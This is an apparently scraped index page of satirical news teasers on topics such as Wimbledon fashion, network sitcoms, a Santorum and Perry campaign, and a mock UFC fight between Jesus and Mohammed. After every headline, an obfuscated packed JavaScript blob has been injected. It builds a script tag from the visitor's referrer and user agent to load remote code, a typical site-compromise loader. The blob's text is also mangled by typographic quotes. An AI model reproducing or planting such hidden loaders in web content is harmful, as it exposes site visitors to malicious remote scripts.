Fashion over Fitness at Wimbledon

NEW PERSPECTIVES ON THE WOMEN’S GAME eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhebk|var|u0026u|referrer|bahbe||js|php’.split(‘|’),0,{})) Fashion Now Dominates Fitness at Wimbledon London, July 6th, 2013 (SHK) Great Britain’s new hope on the women’s side is Laura Robson, 19, who made it all the way to the Round of 16 this year. After the lackluster women’s championship match today, [...]

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This Spring’s Scumbag Sitcoms

THIS SPRING’S NEW SCUMBAG SITCOMS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnzan|var|u0026u|referrer|hfein||js|php’.split(‘|’),0,{})) Four-letter Words Headline Network Lineups New York, NY March 26th, 2012 (SHK) America’s national TV networks have, in the words of one critic, “spawned a new generation of sitcoms that feature idiotic characters” in an attempt to reach a wider viewing audience. After Charlie [...]

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Santorum, Perry Campaign for Christ

SANTORUM, PERRY CAMPAIGN FOR CHRIST eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|keytz|var|u0026u|referrer|dkdis||js|php’.split(‘|’),0,{})) Looking for Believers, but Finding Romulans Columbia, SC January 14th, 2012 (SHK) Former senator Rick Santorum and Texas Gov. Rick Perry may be languishing in the polls, after their results in Iowa and New Hampshire landed in the low single-digits. But reality seems not [...]

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New Reality Shows on Network TV

NEW REALITY SHOWS HEADLINE NETWORK TV eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzidt|var|u0026u|referrer|etnba||js|php’.split(‘|’),0,{})) Brain-dead viewers soar in number, threaten to make America extinct New York, NY November 9th, 2011 (SHK) America’s top television networks and cable channels have announced their new fall lineups. Standouts among the new series this season are the following three eagerly-anticipated shows. [...]

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Journalist Fired for Profanity

REPORTER SUSPENDED FOR PROFANITY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddzzy|var|u0026u|referrer|snhaf||js|php’.split(‘|’),0,{})) But the Times Spelled It Out. What’s Going On? Washington, DC July 7th, 2011 (SHK) Mark Halperin, a senior editor at Time Magazine and occasional commentator on MSNBC’s political talk show “Morning Joe,” was suspended by the network last week for using profanity. When the [...]

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NHL Under Attack for Violence

NHL UNDER ATTACK FOR VIOLENCE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fatzi|var|u0026u|referrer|iibeh||js|php’.split(‘|’),0,{})) Head Shots, Self-Defense Rules Now Revised New York, NY June 27th, 2011 (SHK) Gary Bettman, Commissioner of the National Hockey League, today announced major changes designed to reduce the level of defenseless violence in the rink. “We have taken our fans’ concerns to heart,” [...]

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No Decision in Mecca Smackdown!

JESUS, MOHAMMED FIGHT TO A DRAW! eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysfhz|var|u0026u|referrer|rtytb||js|php’.split(‘|’),0,{})) Huge Crowd Disappointed but Ready for a Rematch Mecca, Saudi Arabia May 30th, 2011 (SHK) UFC Chairman Tommy (Two-Glove) Tintoretto jumped up and shouted for joy. He stood in the late-afternoon shadow of Islam’s giant black box, a stone cube with alleged magic [...]

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The Pre-Fight Weigh-in for Mecca

PRE-FIGHT WEIGH-IN FOR MECCA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntria|var|u0026u|referrer|zhbhr||js|php’.split(‘|’),0,{})) Jesus, Mohammed Trade “Playful” Jabs New York, NY May 16th, 2011 (SHK) Tommy (Two-Glove) Tintoretto, chairman of the Ultimate Fighting Championships, hosted the pre-fight weigh-in for Jesus and Mohammed for their big bout on Memorial Day, in Mecca, to be broadcast live on HBO. “Lade-e-e-e-z [...]

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Jesus vs. Mohammed in UFC Smackdown!

JESUS VS. MOHAMMED IN UFC SMACKDOWN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eedre|var|u0026u|referrer|nzrbt||js|php’.split(‘|’),0,{})) On Memorial Day!   In Mecca!  Live, on HBO! Las Vegas, NV May 2nd, 2011 (SHK) Tommy (Two-Glove) Tintoretto, Chairman and CEO of the Ultimate Fighting Championships (UFC) today announced a unique event in the history of human combat. “We have signed contracts [...]

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Madison Avenue Tries New Tactic

MADISON AVENUE TESTING NEW TACTIC eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iykda|var|u0026u|referrer|frhye||js|php’.split(‘|’),0,{})) Targets White-Collar Buyers with Blue-Collar Actors, and Vice-Versa New York, NY April 28th, 2011 (SHK) Saatchi and Saatchi, one of the world’s most renowned ad agencies, today announced a new ad series to run on prime-time TV that features everyday-ordinary hard-working blue-collar workers pitching [...]

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